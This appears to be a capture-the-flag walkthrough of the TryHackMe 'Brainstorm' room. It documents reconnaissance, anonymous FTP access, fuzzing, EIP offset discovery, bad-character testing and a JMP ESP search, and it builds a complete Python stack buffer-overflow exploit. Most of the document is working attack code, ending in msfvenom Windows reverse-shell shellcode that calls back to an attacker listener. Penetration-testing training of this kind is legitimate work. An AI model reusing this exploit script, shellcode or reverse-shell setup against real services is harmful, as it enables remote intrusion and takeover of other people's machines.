Brainstorm
Room Link: https://tryhackme.com/room/brainstorm
Deploy Machine and Scan Network
nmap -A $VICTIM

nmap -p- $VICTIM
Accessing Files
ftp $VICTIM
Username: anonymous
Password: N/A
ftp> ls
ftp> binary
ftp> cd chatserver
ftp> mget *

Access
I first sending the programming to my test machine and hosting the program there to try crashing the program. There are two fields, the username and message fields. I transfered the file over to a test Windows machine used in the Buffer Overflow prep room.
Kali
xfreerdp /u:admin /p:password /cert:ignore /v:$TESTMACHINE /workarea +clipboard
python2 -m SimpleHTTPServer 81
Test Machine
Downloaded the files.

Crash Replication & Controlling EIP
Initially I just try to crash the program manually. The username field can accept much more characters compared to the message field as I was able to crash the program by entering 3000 As in it but for the Username field it was able to still run with it in. 3000 As did the trick but I want to find exactly how many characters I need to crash it and doing it manually is not convenient.
python -c 'print("A"* 3000)'
nc -v $TESTMACHINE 9999


fuzzer.py
Created this program to see how many characters it would take to crash the program
#!/usr/bin/env python3
import socket, time, sys
try:
ip = str(sys.argv[1])
port = int(sys.argv[2])
print (ip+":"+str(port))
timeout = 5
prefix = ""
name = "Jeff"
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Sending Username".format(len(string) - len(prefix)))
s.send(bytes(name, "latin-1"))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
except:
print ("\nCould not connect!")
sys.exit()
It took 2300 before the program crashed.
I then used pattern_create to make my payload and then added to my new script exploit.py
/opt/metasploit-framework-5101/tools/exploit/pattern_create.rb -l 2300
exploit.py
import socket, time, sys
try:
ip = str(sys.argv[1])
port = int(sys.argv[2])
print (ip+":"+str(port))
name = "Jeff"
prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(name, "latin-1"))
s.recv(1024)
s.send(bytes(buffer + "\r\n", "latin-1"))
s.recv(1024)
print("Done!")
except:
print("Could not connect.")
except:
print ("\nCould not connect!")
sys.exit()
I ran exploit.py against the program with immunity debugger attached. Then I was able to find the offset of EIP which is 2012.
Kali
python exploit.py $TESTMACHINE 1337
Immunity Debugger
!mona findmsp -distance 2300

exploit.py - Code Changes #1
I added the offset and removed the pattern_create output. This will fill EIP with our Bs.
import socket, time, sys
try:
ip = str(sys.argv[1])
port = int(sys.argv[2])
print (ip+":"+str(port))
name = "Jeff"
prefix = ""
offset = 2012
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(name, "latin-1"))
s.recv(1024)
s.send(bytes(buffer + "\r\n", "latin-1"))
s.recv(1024)
print("Done!")
except:
print("Could not connect.")
except:
print ("\nCould not connect!")
sys.exit()
Kali
After running the program again we now can fill EIP with our Bs so we now have control of EIP.
python exploit.py $TESTMACHINE 9000

Finding Bad Characters
Kali
Now we changed the program to look for bad characters so we don't later use those bad characters when generating our payload. We do this by setting our payload to all possible characters, than follow EIP to see which characters aren't showing up. To do this we just have to keep running our exploit and removing the bad characters one by one. There were no bad characters found so we will just add \x00.
python exploit.py $TESTMACHINE 9000
exploit.py - Code Changes #2
import socket, time, sys
badChars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
try:
ip = str(sys.argv[1])
port = int(sys.argv[2])
print (ip+":"+str(port))
name = "Jeff"
prefix = ""
offset = 2012
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = badChars
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(name, "latin-1"))
s.recv(1024)
s.send(bytes(buffer + "\r\n", "latin-1"))
s.recv(1024)
print("Done!")
except:
print("Could not connect.")
except:
print ("\nCould not connect!")
sys.exit()


Finding a Jump Point
Now we need to find a place to jump to to run our payload. We find there is only one place that will meets our conditions that we need which is an address with SafeSEH, ASLR, and NXCompat disabled and the memory address doesn't start with 0x00. ex: 0x0040000 won't work, 0x100000 will work. essfunc.dll meets this criteria.
Immunity Debugger
!mona modules

We find that essfunc.dll has 9 possible JMP ESPs to use. So we will start with the first oneand move our way down, the first one didn't work but the second one 0x625014eb did but when we add it to our code we need it in little endian format so it becomes \xeb\x14\x50\x62.
Immunity Debugger
!mona find -s "\xff\xe4" -m essfunc.dll

Exploit - Staging
Now that we have the return address to use, we just need to generate our payload without using the bad characters found previously. I also added 16 NOPs before the payload as suggested in the room. All that is left is to is to update our code with our payload and run it against the program.
msfvenom -p windows/shell_reverse_tcp LHOST=$KALI LPORT=4444 EXITFUNC=thread -b "\x00" -f c
exploit.py - Code Changes #3
import socket, time, sys
try:
ip = str(sys.argv[1])
port = int(sys.argv[2])
print (ip+":"+str(port))
name = "Jeff"
prefix = ""
offset = 2012
overflow = "A" * offset
retn = "\xeb\x14\x50\x62"
padding = "\x90" * 16
payload = ("\xb8\xdc\x93\xe8\x86\xdb\xd5\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x52\x31\x42\x12\x03\x42\x12\x83\x1e\x97\x0a\x73\x62\x70\x48"
"\x7c\x9a\x81\x2d\xf4\x7f\xb0\x6d\x62\xf4\xe3\x5d\xe0\x58\x08"
"\x15\xa4\x48\x9b\x5b\x61\x7f\x2c\xd1\x57\x4e\xad\x4a\xab\xd1"
"\x2d\x91\xf8\x31\x0f\x5a\x0d\x30\x48\x87\xfc\x60\x01\xc3\x53"
"\x94\x26\x99\x6f\x1f\x74\x0f\xe8\xfc\xcd\x2e\xd9\x53\x45\x69"
"\xf9\x52\x8a\x01\xb0\x4c\xcf\x2c\x0a\xe7\x3b\xda\x8d\x21\x72"
"\x23\x21\x0c\xba\xd6\x3b\x49\x7d\x09\x4e\xa3\x7d\xb4\x49\x70"
"\xff\x62\xdf\x62\xa7\xe1\x47\x4e\x59\x25\x11\x05\x55\x82\x55"
"\x41\x7a\x15\xb9\xfa\x86\x9e\x3c\x2c\x0f\xe4\x1a\xe8\x4b\xbe"
"\x03\xa9\x31\x11\x3b\xa9\x99\xce\x99\xa2\x34\x1a\x90\xe9\x50"
"\xef\x99\x11\xa1\x67\xa9\x62\x93\x28\x01\xec\x9f\xa1\x8f\xeb"
"\xe0\x9b\x68\x63\x1f\x24\x89\xaa\xe4\x70\xd9\xc4\xcd\xf8\xb2"
"\x14\xf1\x2c\x14\x44\x5d\x9f\xd5\x34\x1d\x4f\xbe\x5e\x92\xb0"
"\xde\x61\x78\xd9\x75\x98\xeb\xec\x83\xd5\x48\x98\x91\x19\x9e"
"\x05\x1f\xff\xca\xa5\x49\xa8\x62\x5f\xd0\x22\x12\xa0\xce\x4f"
"\x14\x2a\xfd\xb0\xdb\xdb\x88\xa2\x8c\x2b\xc7\x98\x1b\x33\xfd"
"\xb4\xc0\xa6\x9a\x44\x8e\xda\x34\x13\xc7\x2d\x4d\xf1\xf5\x14"
"\xe7\xe7\x07\xc0\xc0\xa3\xd3\x31\xce\x2a\x91\x0e\xf4\x3c\x6f"
"\x8e\xb0\x68\x3f\xd9\x6e\xc6\xf9\xb3\xc0\xb0\x53\x6f\x8b\x54"
"\x25\x43\x0c\x22\x2a\x8e\xfa\xca\x9b\x67\xbb\xf5\x14\xe0\x4b"
"\x8e\x48\x90\xb4\x45\xc9\xb0\x56\x4f\x24\x59\xcf\x1a\x85\x04"
"\xf0\xf1\xca\x30\x73\xf3\xb2\xc6\x6b\x76\xb6\x83\x2b\x6b\xca"
"\x9c\xd9\x8b\x79\x9c\xcb"
)
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(name, "latin-1"))
s.recv(1024)
s.send(bytes(buffer + "\r\n", "latin-1"))
s.recv(1024)
print("Done!")
except:
print("Could not connect.")
except:
print ("\nCould not connect!")
sys.exit()
Kali #1
nc -lvnp 4444
Kali #2
python exploit.py $VICTIM 1337

Exploit - Prod
We now run the exact same code against our actual server we are trying to exploit and it works right away.
Kali #1
nc -lvnp 4444
Kali #2
python exploit.py $VICTIM 1337

Last updated